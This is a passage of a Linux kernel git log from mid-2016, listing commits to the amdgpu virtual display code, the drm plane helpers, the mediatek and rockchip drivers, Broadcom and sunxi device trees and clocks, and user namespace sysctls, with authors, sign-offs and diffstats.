++++++++++++++++++++++++++++++++++++++++++ kernel/user_namespace.c | 31 +++++++++++++++--------- 4 files changed, 81 insertions(+), 11 deletions(-) commit 2579de4394309da473d89cd5df08dc0bfe5e87f5 Author: Alex Deucher Date: Mon Aug 8 14:40:04 2016 -0400 drm/amdgpu/virtual_dce: add case for topaz for disable_dce This asic has no DCE block. Also clarify the error message for unmatched chips. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit d06b7e1cf0fa4552fd725111b46df1ed0b649b15 Author: Alex Deucher Date: Mon Aug 8 14:35:55 2016 -0400 drm/amdgpu: move vsync_timer_enabled setup to dce virtual early_init Put it in one place. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cik.c | 1 - drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 1 + drivers/gpu/drm/amd/amdgpu/vi.c | 1 - 3 files changed, 1 insertion(+), 2 deletions(-) commit cfc5adea1955ee8ddb62cc0d20ee454472033b6a Author: Daniel Vetter Date: Mon Aug 8 18:24:53 2016 +0200 drm: Make sure drm_vblank_no_hw_counter isn't abused Shouldn't be possible since everyone kzallocs this, but better safe than sorry. Random drive-by-idea really. Cc: Rodrigo Vivi Signed-off-by: Daniel Vetter Reviewed-by: Rodrigo Vivi Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470673493-14304-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_irq.c | 1 + 1 file changed, 1 insertion(+) commit a6be7570518f85ce94ca9d6540543e00725828d3 Author: Emily Deng Date: Mon Aug 8 11:37:50 2016 +0800 drm/amdgpu: Set ip_blocks according variable amdgpu_virtual_display. For virtual display feature, if user set the option "amdgpu.virtual_display=1" when load amdgpu.ko. Then need to set the ip_blocks with virtual display ip blocks. And when enable virtual display, the amdgpu_dal need to be set to zero. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 2 + drivers/gpu/drm/amd/amdgpu/cik.c | 77 ++++++++++++++++++--------- drivers/gpu/drm/amd/amdgpu/vi.c | 84 +++++++++++++++++++++--------- 3 files changed, 113 insertions(+), 50 deletions(-) commit e443059d0f41fcc07f0fb6b3b8ae96dc3d2364c7 Author: Emily Deng Date: Mon Aug 8 11:37:29 2016 +0800 drm/amdgpu: Define one variable for virtual display. For virtual display feature, define on variable in amdgpu.ko. When want to enable virtual display feature, need set the option "amdgpu.virtual_display=1". And then disable vga render and crtc if have DCE engine. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 4 ++++ 2 files changed, 5 insertions(+) commit e9ed3a67cd1bfd8d0d0dc4968a36f6ea4db2d45a Author: Emily Deng Date: Mon Aug 8 11:36:45 2016 +0800 drm/amdgpu: Define virtual display ip blocks. For virtual display feature, define virtual display ip blocks, and set dce_virtual_ip_funcs to DCE block. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cik.c | 341 +++++++++++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/vi.c | 282 ++++++++++++++++++++++++++++++++ 2 files changed, 623 insertions(+) commit ac08500c1bcb620810838c735143a00e5acf5b5f Author: Bibby Hsieh Date: Thu Aug 4 10:59:57 2016 +0800 drm/mediatek: Fix mtk_atomic_complete for runtime_pm To properly implement atomic w/ runtime pm, we move drm_atomic_helper_commit_modeset_enables() above drm_atomic_helper_commit_planes() to ensure CRTCs are enabled before modifying plane registers, and set active_only to true to filter out plane update notifications when the CRTC is disabled. According to the document from linux kernel: Set the active_only parameters to true in order not to receive plane update notifications related to a disabled CRTC. This avoids the need to manually ignore plane updates in driver code when the driver and/or hardware can't or just don't need to deal with updates on disabled CRTCs, for example when supporting runtime PM. Signed-off-by: Bibby Hsieh Signed-off-by: Daniel Kurtz Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-8-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_drv.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) commit 9c350d834f08407d8470b3c09bbc34e42d261362 Author: Daniel Kurtz Date: Thu Aug 4 10:59:56 2016 +0800 drm/mediatek: plane: Use FB's format's cpp to compute x offset Use the framebuffer's format to compute its cpp, and use it when calculating the address shift value. Signed-off-by: Bibby Hsieh Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-7-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_plane.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f176cbf6f9407d363e72ba9bc2f7cd40853b4388 Author: Daniel Kurtz Date: Thu Aug 4 10:59:55 2016 +0800 drm/mediatek: plane: Merge mtk_plane_enable into mtk_plane_atomic_update The mtk_plane_enable is just called once by mtk_plane_atomic_update. So, merge mtk_plane_enable into mtk_plane_atomic_update. While we are here, also clean up the function a bit by using an fb local variables. Signed-off-by: Bibby Hsieh Signed-off-by: Daniel Kurtz Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-6-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_plane.c | 65 +++++++++++--------------------- 1 file changed, 23 insertions(+), 42 deletions(-) commit 903daff60fc5629d39ceb5f870afecdc477bcd6c Author: Bibby Hsieh Date: Thu Aug 4 10:59:54 2016 +0800 drm/mediatek: Use drm_atomic destroy_state helpers Use the core destroy_state helpers to destroy core state to ensure we don't leak if/when more fields get added later. Signed-off-by: Daniel Kurtz Signed-off-by: Bibby Hsieh Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-5-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 3 +-- drivers/gpu/drm/mediatek/mtk_drm_plane.c | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) commit 5bfafad8059b40be3ab60be26d3270b74303639a Author: Daniel Kurtz Date: Thu Aug 4 10:59:53 2016 +0800 drm/mediatek: Remove mtk_drm_plane Now that mtk_drm_plane just contains its base struct drm_plane, we can just remove it and use struct drm_plane everywhere. Signed-off-by: Daniel Kurtz Signed-off-by: Bibby Hsieh Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-4-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 16 ++++++++-------- drivers/gpu/drm/mediatek/mtk_drm_plane.c | 12 +++++------- drivers/gpu/drm/mediatek/mtk_drm_plane.h | 11 +---------- 3 files changed, 14 insertions(+), 25 deletions(-) commit 0d5a32b7257234a25cc6b7ae936d236f61030f3f Author: Daniel Kurtz Date: Thu Aug 4 10:59:52 2016 +0800 drm/mediatek: plane: Remove plane zpos/index It is not actually useful to a mtk plane to know its zpos/index, so just remove this field. This let's completely remove struct mtk_drm_plane in a follow up patch. Signed-off-by: Daniel Kurtz Signed-off-by: Bibby Hsieh Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-3-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 2 +- drivers/gpu/drm/mediatek/mtk_drm_plane.c | 4 +--- drivers/gpu/drm/mediatek/mtk_drm_plane.h | 4 +--- 3 files changed, 3 insertions(+), 7 deletions(-) commit 73785a972901fe5de941950cd1f699b9ea998626 Author: Daniel Kurtz Date: Thu Aug 4 10:59:51 2016 +0800 drm/mediatek: Remove mtk_drm_crtc_check_flush This function no longer exists. Signed-off-by: Daniel Kurtz Signed-off-by: Bibby Hsieh Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470279597-60453-2-git-send-email-bibby.hsieh@mediatek.com drivers/gpu/drm/mediatek/mtk_drm_crtc.h | 1 - 1 file changed, 1 deletion(-) commit 4be12cc23d5030dcf7dfe055e26c0ab6e79dbb38 Author: Ville Syrjälä Date: Tue Jul 26 19:07:04 2016 +0300 drm/simple_kms_helper: Use drm_plane_helper_check_state() Replace the use of drm_plane_helper_check_update() with drm_plane_helper_check_state() since we have a plane state. I don't see any actual users of drm_simple_kms_helper yet, so no actual plane clipping bugs to fix. Cc: Noralf Trønnes Signed-off-by: Ville Syrjälä Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-10-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_simple_kms_helper.c | 27 ++++++--------------------- 1 file changed, 6 insertions(+), 21 deletions(-) commit 0e4faf679e67b5ab55752d18fc82f3c7351b2f03 Author: Ville Syrjälä Date: Tue Jul 26 19:07:03 2016 +0300 drm/mediatek: Use drm_plane_helper_check_state() Replace the use of drm_plane_helper_check_update() with drm_plane_helper_check_state() since we have a plane state. This also eliminates the double clipping the driver was doing in both check and commit phases). And it should fix src coordinate addr adjustement. Previously the driver was expecting negative dst coordinates after clipping, which is not going happen, so any clipping induced addr adjustment simply didn't happen. Neither did the driver respect any user configured src coordinates, so panning and such would have been totally broken. It should be all good now. Cc: CK Hu Cc: linux-mediatek@lists.infradead.org Signed-off-by: Ville Syrjälä Reviewed-by: Bibby Hsieh Tested-by: Bibby Hsieh Acked-by: CK Hu Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-9-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/mediatek/mtk_drm_plane.c | 72 +++++++++----------------------- 1 file changed, 20 insertions(+), 52 deletions(-) commit f9b96be0ecb349c65875b55c14345d0604405e88 Author: Ville Syrjälä Date: Tue Jul 26 19:07:02 2016 +0300 drm/rockchip: Use drm_plane_helper_check_state() Replace the use of drm_plane_helper_check_update() with drm_plane_helper_check_state() since we have a plane state. Rockchip looks to handling plane clipping rather well already (unlikje most arm drm drivers) so there are no function changes here. Cc: Yao Cc: linux-rockchip@lists.infradead.org Signed-off-by: Ville Syrjälä Acked-by: Mark Yao Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-8-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 25 +++++-------------------- 1 file changed, 5 insertions(+), 20 deletions(-) commit ac92028e99f55cb821f97e2e866a7f32ffe66aa2 Author: Ville Syrjälä Date: Tue Jul 26 19:07:01 2016 +0300 drm/rockchip: Use drm_plane_state.{src, dst} Replace the private drm_rects in vop_plane_state with the ones now living in drm_plane_state. Cc: Yao Cc: linux-rockchip@lists.infradead.org Signed-off-by: Ville Syrjälä Acked-by: Mark Yao Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-7-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit f8856a44ad5c0f0f8c641e826984f92fb46f7a57 Author: Ville Syrjälä Date: Tue Jul 26 19:07:00 2016 +0300 drm/i915: Use drm_plane_helper_check_state() Replace the use of drm_plane_helper_check_update() with drm_plane_helper_check_state() since we have a plane state. Signed-off-by: Ville Syrjälä Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-6-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_atomic_plane.c | 14 -------------- drivers/gpu/drm/i915/intel_display.c | 26 +++++++++----------------- drivers/gpu/drm/i915/intel_sprite.c | 10 ++++++++++ 3 files changed, 19 insertions(+), 31 deletions(-) commit 936e71e314d393cd74c42c81b00b2092330c802d Author: Ville Syrjälä Date: Tue Jul 26 19:06:59 2016 +0300 drm/i915: Use drm_plane_state.{src,dst,visible} Replace the private drm_rects/flags in intel_plane_state with the ones now living in drm_plane_state. Signed-off-by: Ville Syrjälä Reviewed-by: Chris Wilson Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-5-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_atomic_plane.c | 20 ++--- drivers/gpu/drm/i915/intel_display.c | 132 +++++++++++++++--------------- drivers/gpu/drm/i915/intel_drv.h | 3 - drivers/gpu/drm/i915/intel_fbc.c | 12 +-- drivers/gpu/drm/i915/intel_pm.c | 60 +++++++------- drivers/gpu/drm/i915/intel_sprite.c | 84 +++++++++---------- 6 files changed, 156 insertions(+), 155 deletions(-) commit df86af9133b4958a04c44828d29617eb1a6ff31c Author: Ville Syrjälä Date: Mon Aug 8 10:55:10 2016 +0300 drm/plane-helper: Add drm_plane_helper_check_state() Add a version of drm_plane_helper_check_update() which takes a plane state instead of having the caller pass in everything. And to reduce code duplication, let's reimplement drm_plane_helper_check_update() in terms of the new function, by having a tempororary plane state on the stack. v2: Add a note that the functions modifies the state (Chris) v3: Fix drm_plane_helper_check_update() y coordinates (Daniel Kurtz) Cc: Daniel Kurtz Cc: Chris Wilson Signed-off-by: Ville Syrjälä Reviewed-by: Sean Paul (v2) Signed-off-by: Ville Syrjälä Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470642910-14073-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_plane_helper.c | 139 ++++++++++++++++++++++++++++--------- include/drm/drm_plane_helper.h | 5 ++ 2 files changed, 112 insertions(+), 32 deletions(-) commit dbec28460a89aa7c02c3301e9e108d98272549d2 Author: Eric W. Biederman Date: Sat Jul 30 13:58:49 2016 -0500 userns: Add per user namespace sysctls. Limit per userns sysctls to only be opened for write by a holder of CAP_SYS_RESOURCE. Add all of the necessary boilerplate for having per user namespace sysctls. Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 4 ++ kernel/Makefile | 2 +- kernel/ucount.c | 99 ++++++++++++++++++++++++++++++++++++++++++ kernel/user_namespace.c | 18 +++++++- 4 files changed, 120 insertions(+), 3 deletions(-) commit d7da824d9edeb7d83676c11d800b8243d87eafbf Author: Ville Syrjälä Date: Tue Jul 26 19:06:57 2016 +0300 drm: Store clipped src/dst coordinatee in drm_plane_state Pretty much all driver will have need for the clipped plane coordinates, so let's stuff then into drm_plane_state. Signed-off-by: Ville Syrjälä Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-3-git-send-email-ville.syrjala@linux.intel.com include/drm/drm_crtc.h | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 1e1a5f8f8c3a4b24b3fc0340880cf1e3949f4997 Author: Ville Syrjälä Date: Tue Jul 26 19:06:56 2016 +0300 drm: Warn about negative sizes when calculating scale factor Passing negative width/hight to scale factor calculations is not legal. Let's WARN if that happens. Signed-off-by: Ville Syrjälä Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469549224-1860-2-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_rect.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 31ad61e4afa53a7b2e364f7c021546fbc6ce0d85 Author: Joonas Lahtinen Date: Fri Jul 29 08:50:05 2016 +0300 drm: BIT(DRM_ROTATE_?) -> DRM_ROTATE_? Only property creation uses the rotation as an index, so convert the to figure the index when needed. v2: Use the new defines to build the _MASK defines (Sean) Cc: intel-gfx@lists.freedesktop.org Cc: linux-arm-msm@vger.kernel.org Cc: freedreno@lists.freedesktop.org Cc: malidp@foss.arm.com Cc: David Airlie Cc: Daniel Vetter Cc: Ville Syrjälä Cc: Liviu Dudau Cc: Sean Paul Acked-by: Liviu Dudau Reviewed-by: Ville Syrjälä (v1) Signed-off-by: Joonas Lahtinen Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469771405-17653-1-git-send-email-joonas.lahtinen@linux.intel.com drivers/gpu/drm/arm/malidp_drv.h | 2 +- drivers/gpu/drm/arm/malidp_planes.c | 20 +++++++++--------- drivers/gpu/drm/armada/armada_overlay.c | 2 +- drivers/gpu/drm/atmel-hlcdc/atmel_hlcdc_plane.c | 22 +++++++++---------- drivers/gpu/drm/drm_atomic_helper.c | 4 ++-- drivers/gpu/drm/drm_crtc.c | 24 ++++++++++----------- drivers/gpu/drm/drm_fb_helper.c | 4 ++-- drivers/gpu/drm/drm_plane_helper.c | 2 +- drivers/gpu/drm/drm_rect.c | 28 ++++++++++++------------- drivers/gpu/drm/i915/i915_debugfs.c | 12 +++++------ drivers/gpu/drm/i915/intel_atomic_plane.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 28 ++++++++++++------------- drivers/gpu/drm/i915/intel_drv.h | 2 +- drivers/gpu/drm/i915/intel_fbc.c | 2 +- drivers/gpu/drm/i915/intel_fbdev.c | 6 +++--- drivers/gpu/drm/i915/intel_sprite.c | 6 +++--- drivers/gpu/drm/msm/mdp/mdp5/mdp5_plane.c | 10 ++++----- drivers/gpu/drm/omapdrm/omap_drv.c | 6 +++--- drivers/gpu/drm/omapdrm/omap_fb.c | 14 ++++++------- drivers/gpu/drm/omapdrm/omap_plane.c | 10 ++++----- include/drm/drm_crtc.h | 17 ++++++++------- 21 files changed, 112 insertions(+), 111 deletions(-) commit d0cf9d8a3c78cf70e3a78e898fdc1b2adea0e6dd Author: Florian Fainelli Date: Tue Jun 28 12:18:51 2016 -0700 ARM: brcmstb: Add earlyprintk support using run-time checks The SUN_TOP_CTRL_FAMILY_ID register is at a fixed absolute address for all of our supported chips, so utilize its value to determine what the UARTA base address should be based on the value we read. Since the code is called both during decompressor when the MMU is off, and after the MMU has been turned on in the kernel, and we want to do the lookup only once, we use the same technique as tegra.S and have a shared storage location between the decompressor and the kernel. Signed-off-by: Florian Fainelli arch/arm/Kconfig.debug | 14 ++-- arch/arm/include/debug/brcmstb.S | 145 +++++++++++++++++++++++++++++++++++++++ arch/arm/mach-bcm/brcmstb.c | 16 +++++ 3 files changed, 168 insertions(+), 7 deletions(-) commit 048a5b76d2ba40adedb98a987bb15a9cc1f0a62b Author: Emily Deng Date: Mon Aug 8 11:36:31 2016 +0800 drm/amdgpu: Add DRM_MODE_CONNECTOR_VIRTUAL connector in amdgpu_connector_add. For virtual display feature, add one connector type in amdgpu_connector_add. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 91 ++++++++++++++++++++++++++ 1 file changed, 91 insertions(+) commit 37eb56dc79a8e841f3801f9364de8a70189c306f Author: Florian Fainelli Date: Wed Jun 29 12:49:34 2016 -0700 arm64: Add Broadcom Set Top Box Kconfig entry point Add an ARCH_BRCMSTB Kconfig symbol which allows us not to update the dependencies for all STB-related drivers. Select BRCMSTB_L2_IRQ and GENERIC_IRQ_CHIP which are required for proper functioning. Signed-off-by: Doug Berger Signed-off-by: Florian Fainelli Signed-off-by: Markus Mayer arch/arm64/Kconfig.platforms | 7 +++++++ 1 file changed, 7 insertions(+) commit 6b5084ccfcd4d43d31c6124968dcc537ea265994 Author: Emily Deng Date: Mon Aug 8 11:36:07 2016 +0800 drm/amdgpu: Call pageflip irq funtion when receiced vsync interrupt. For virtual display feature, as there is no dce engine, so no pageflip irq generated. So directly call pageflip irq funtion when received vysn interrupt. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit c53beb47f621e4a56f31af9f86470041655516c7 Author: Jon Mason Date: Thu Jul 14 16:14:17 2016 -0400 ARM: dts: NSP: Correct RAM amount for BCM958625HR board The BCM958625HR board has 2GB of RAM available. Increase the amount from 512MB to 2GB and add the device type to the memory entry. Fixes: 9a4865d42fe5 ("ARM: dts: NSP: Specify RAM amount for BCM958625HR board") Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958625hr.dts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4a590fbfc353bab3bb501850a4d81b79dc8dda87 Author: Yendapally Reddy Dhananjaya Reddy Date: Tue Jul 5 02:00:26 2016 -0400 ARM: dts: NSP: Add PWM Support to DT Add PWM support to the device tree for the Broadcom Northstar Plus SoC. Signed-off-by: Yendapally Reddy Dhananjaya Reddy Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm-nsp.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 46ac3622437692c371f3e647dc29f99e14b4f596 Author: Emily Deng Date: Mon Aug 8 11:35:39 2016 +0800 drm/amdgpu: Use software timer to generate vsync interrupt. For virtual display feature, use the software timer to simulate the vsync interrupt. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_mode.h | 4 ++++ drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 33 ++++++++++++++++++++++++++++++-- drivers/gpu/drm/amd/amdgpu/dce_virtual.h | 2 ++ 3 files changed, 37 insertions(+), 2 deletions(-) commit 2709d3932c47191b99a545f821ab09e355637eaf Author: Rafał Miłecki Date: Wed Jun 1 22:07:07 2016 +0200 ARM: BCM5301X: Specify PHY of USB 2.0 in DT Driver for Northstar USB 2.0 PHY was added in 4.7-rc1 by: commit d3feb4067335 ("phy: bcm-ns-usb2: new driver for USB 2.0 PHY on Northstar"). It should be used to let EHCI platform driver init PHY. Signed-off-by: Rafał Miłecki Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm5301x.dtsi | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 1bc1d822cdd37829076ffe8dcf0fbe0ee8143c5b Author: Florian Fainelli Date: Fri Jul 8 11:49:29 2016 -0700 ARM: dts: NSP: Add BCM958625HR switch ports Add the layout of the switch ports found on the BCM958625HR reference board. The CPU port is hooked up to the AMAC0 Ethernet controlelr adapter, so we also enable it. Reviewed-by: Andrew Lunn Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958625hr.dts | 49 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit bf2289bedef42426250283ce0e44ec64937920d4 Author: Florian Fainelli Date: Fri Jul 8 11:49:28 2016 -0700 ARM: dts: NSP: Add Switch Register Access Block node Add the Switch Register Access Block node, this peripheral is identical to the BCM5301x Northstar SoC, but we utilize the SoC-wide "brcm,nsp-srab" compatible string to illustrate the integration difference here. Reviewed-by: Andrew Lunn Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm-nsp.dtsi | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 13d04f20935cc4e334576a520069d6e7b85a82f2 Author: Jon Mason Date: Fri Jul 8 11:56:02 2016 -0400 ARM: dts: NSP: Add AMAC entries Add Device Tree entries for the Ethernet devices (AMAC) present on the Broadcom Northstar Plus SoCs. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm-nsp.dtsi | 18 ++++++++++++++++++ arch/arm/boot/dts/bcm958625k.dts | 8 ++++++++ 2 files changed, 26 insertions(+) commit 07d4510f5251a9992bff642f4fe84386bd55adc7 Author: Jon Mason Date: Thu Jul 7 19:08:58 2016 -0400 dt-bindings: net: bgmac: add bindings documentation for bgmac Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli .../devicetree/bindings/net/brcm,amac.txt | 24 ++++++++++++++++++++++ .../devicetree/bindings/net/brcm,bgmac-nsp.txt | 24 ++++++++++++++++++++++ 2 files changed, 48 insertions(+) commit 83c9b0253b1136b1312fd2a0bfd173f625c65091 Author: Emily Deng Date: Mon Aug 8 11:33:11 2016 +0800 drm/amdgpu: Disable VGA render and crtc when init GMC. For virtual display feature, when the GPU has DCE engine, need to disable the VGA render and CRTC, or it will hang when initialize GMC. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 42 ++++++++++++++++++++++++- drivers/gpu/drm/amd/amdgpu/dce_v10_0.h | 2 ++ drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 53 +++++++++++++++++++++++++++++--- drivers/gpu/drm/amd/amdgpu/dce_v11_0.h | 2 ++ drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 51 ++++++++++++++++++++++++++++-- drivers/gpu/drm/amd/amdgpu/dce_v8_0.h | 2 ++ drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 32 +++++++++++++++++-- 7 files changed, 173 insertions(+), 11 deletions(-) commit 0bad1619ff5cce53964785a9faedcfb1d4810223 Author: Emily Deng Date: Mon Aug 8 11:32:35 2016 +0800 drm/amdgpu: To define whether the GPU has DCE engine. For virtual display feature, when the GPU has DCE engine, need to disable the VGA render and CRTC, or it will hang when initialize GMC. So first detect whether the GPU has DCE engine. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_atombios.c | 27 +++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_atombios.h | 2 ++ 2 files changed, 29 insertions(+) commit 0d43f3bca1ea1f85c1b344abcc2f17f4731e5eda Author: Emily Deng Date: Mon Aug 8 11:32:22 2016 +0800 drm/amdgpu: Initialize dce_virtual_crtc_funcs. (v2) For virtual display feature, initialize dce_virtual_crtc_funcs. v2: agd: rebase on upstream Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 32 ++++++++++++++++++++++++++++---- 1 file changed, 28 insertions(+), 4 deletions(-) commit 5072ed1fa29fa7cef73a7fb82f696e50973e02dc Author: Yendapally Reddy Dhananjaya Reddy Date: Fri Jul 15 04:28:26 2016 -0400 arm64: dts: Add PWM DT node for NS2 Add device tree entry for PWM support for Broadcom Northstar 2 SoC. Signed-off-by: Yendapally Reddy Dhananjaya Reddy Signed-off-by: Florian Fainelli arch/arm64/boot/dts/broadcom/ns2.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit fbd073102c6910cc3b2f35b98ddc1fea5eb12795 Author: Hans de Goede Date: Sat Jul 9 22:21:57 2016 +0200 ARM: dts: sun8i: Add ethernet1 alias to Orange Pi 2 dts This will allow u-boot to fill in a mac-address for Orange Pi 2 variants which use an sdio wifi without an eeprom for the mac. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3-orangepi-2.dts | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 97c6d82b0f0a5a5e3f80a1554ae96c07aaa75dfe Author: Hans de Goede Date: Tue Jul 26 23:04:31 2016 +0200 ARM: dts: sun8i: Add dts file for the Orange Pi PC Plus SBC There is a new Orange Pi PC *Plus* version available now, this is an extended version of the regular Orange Pi PC with sdio wifi and an eMMC. Signed-off-by: Hans de Goede [Maxime: Fix model and compatible] Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun8i-h3-orangepi-pc-plus.dts | 88 +++++++++++++++++++++++++ 2 files changed, 89 insertions(+) commit 1ff4023aabffd4efbc4fa80fbed8b1e43c40ac55 Author: Hans de Goede Date: Fri Jul 15 08:54:19 2016 +0200 ARM: dts: sun6i-a31s-colorfly-e708-q1: Add full otg support Now that we've all the necessary bits in place we can enable full otg support on these tablets. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun6i-a31s-colorfly-e708-q1.dts | 32 +++++++++++++++++------ 1 file changed, 24 insertions(+), 8 deletions(-) commit a36583595c1769cad9aad393ffe5a27d217f734f Author: Chen-Yu Tsai Date: Tue Jul 26 15:04:28 2016 +0800 clk: sunxi-ng: nkm: Add mux to support multiple parents The MIPI mode of the MIPI-PLL on A31 is an NKM-style PLL with 2 selectable parents. Add mux support to the NKM clock. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu_nkm.c | 40 ++++++++++++++++++++++++++++++++++------ drivers/clk/sunxi-ng/ccu_nkm.h | 23 +++++++++++++++++++++++ 2 files changed, 57 insertions(+), 6 deletions(-) commit 178ca5312ad358fb129876bacbee8dac4681673a Author: Chen-Yu Tsai Date: Tue Jul 26 15:04:25 2016 +0800 clk: sunxi-ng: mux: Increase fixed pre-divider div size Some clocks have a predivider value that is larger than what u8 can store. One such example is the OUT clk found on A20/A31, which has a /750 pre-divider on one of the osc24M parents. Increase the size of the div field to u16. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu_mux.c | 2 +- drivers/clk/sunxi-ng/ccu_mux.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit f1f5ef92679fd9871b9642916c32b78fc333642a Author: Emily Deng Date: Mon Aug 8 11:32:00 2016 +0800 drm/amdgpu: Initialize dce_virtual_crtc_helper_funcs For virtual display feature, initialize dce_virtual_crtc_helper_funcs. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 137 +++++++++++++++++++++++++++++-- 1 file changed, 128 insertions(+), 9 deletions(-) commit e13273d4a4702f7cb21a5f6e94919a5b52c45c32 Author: Emily Deng Date: Mon Aug 8 11:31:37 2016 +0800 drm/amdgpu: Initialize crtc, pageflip irq funcs (v2) For virtual display feature, initialize dce_virtual_crtc_irq_funcs, dce_virtual_pageflip_irq_funcs. As it has no dce 